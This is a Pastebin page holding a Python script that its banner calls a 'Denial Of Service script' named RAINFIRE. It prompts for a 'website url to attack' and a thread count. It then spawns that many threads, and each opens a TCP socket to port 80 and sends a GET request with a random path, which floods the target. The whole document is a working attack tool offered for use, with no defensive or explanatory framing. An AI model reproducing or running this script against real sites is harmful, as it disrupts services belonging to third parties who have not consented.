Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #_____ _____imports _____
- import random
- import os
- import socket
- import string
- import sys
- import threading
- import time
- #share variable for thread counts
- thread_num = 0
- thread_num_mutex = threading.Lock()
- #___________________UNDER METHOD _________________________
- class AttackVector:
- def __init__(self,address,port,num_req):
- self.address = address
- self.ip = ""
- self.port = port
- self.num_req = num_req
- self.RandStringParsed = ""
- def FQDNparse(self):
- """_____________ Doc ___________________
- Converts a Fully Qualified Domain Name
- into ip address for further use
- """
- try:
- HeaderRemover = str(self.address).replace("https://", "").replace("http://", "").replace("www.", "")
- self.ip = socket.gethostbyname(HeaderRemover)
- except socket.gaierror:
- print("incorrect website entered")
- sys.exit(2)
- def url_path_forge(self):
- """_____________ Doc ____________________
- Generates random string to send the server
- """
- randstring = str(string.ascii_letters + string.digits+string.punctuation)
- self.RandStringParsed = "".join(random.sample(randstring, 5))
- def core(self):
- """_____________ Doc ____________________
- Creates threads RAW sockets and send forged
- message to the server by socket binding
- """
- RandomSend = self.RandStringParsed
- dos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- try:
- # RAW SOCKET connection
- msg = "GET {} HTTP/1.1\nHost: {}\n\n".format(RandomSend,self.address)
- dos.connect((self.ip, self.port))
- dos.send(msg.encode())
- #print("GET {} HTTP/1.1\nHost: {}\n\n" .format(url_path,host))
- except socket.error as e:
- print("the error {} occured".format(e))
- finally:
- # close socket
- dos.shutdown(socket.SHUT_RDWR)
- dos.close()
- self.print_status()
- all_threads = []
- for i in range(int(self.num_req)):
- t1 = threading.Thread(target=self.core)
- t1.start()
- all_threads.append(t1)
- time.sleep(0.01)
- for current_thread in all_threads:
- current_thread.join()
- def print_status(self):
- global thread_num
- thread_num_mutex.acquire(True)
- thread_num += 1
- print("\n " + time.ctime().split(" ")[3] + " " + "[" + str(thread_num), end='\r')
- thread_num_mutex.release()
- #____________NORMAL METHODS ___________________________
- def getvalues():
- """_____ Doc _____
- Fetching values
- """
- address = input("enter the website url to attack >>> ") # www.whateveryouwant.com # is to be FQDN parsed
- port = 80 # default port
- num_requests = input("enter the number of Threads to run >>>") # 10 000 by default
- return address,port,num_requests
- def banner():
- print("""
- ██████╗ █████╗ ██╗███╗ ██╗███████╗██╗██████╗ ███████╗
- ██╔══██╗██╔══██╗██║████╗ ██║██╔════╝██║██╔══██╗██╔════╝
- ██████╔╝███████║██║██╔██╗ ██║█████╗ ██║██████╔╝█████╗
- ██╔══██╗██╔══██║██║██║╚██╗██║██╔══╝ ██║██╔══██╗██╔══╝
- ██║ ██║██║ ██║██║██║ ╚████║██║ ██║██║ ██║███████╗
- ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝
- (May the 5OO force be with you)
- Author: TKshi128
- vendor: 2.0
- Description: Denial Of Service script
- Written using under methods and python 3.6
- """)
- if __name__ == '__main__':
- """
- a = address to attack www.stuff.com
- b = port but is left by default. Modular for FU
- c = Threads numbers
- dos is an object that is initialised with a b and c
- dos Parse is internal computing of values
- dos.core starts attacking
- """
- banner() #speaks by itself
- a, b, c = getvalues()
- dos = AttackVector(a, b, c)
- dos.FQDNparse()
- dos.core()
- # dos is our new attack class
Add Comment
Please, Sign In to add comment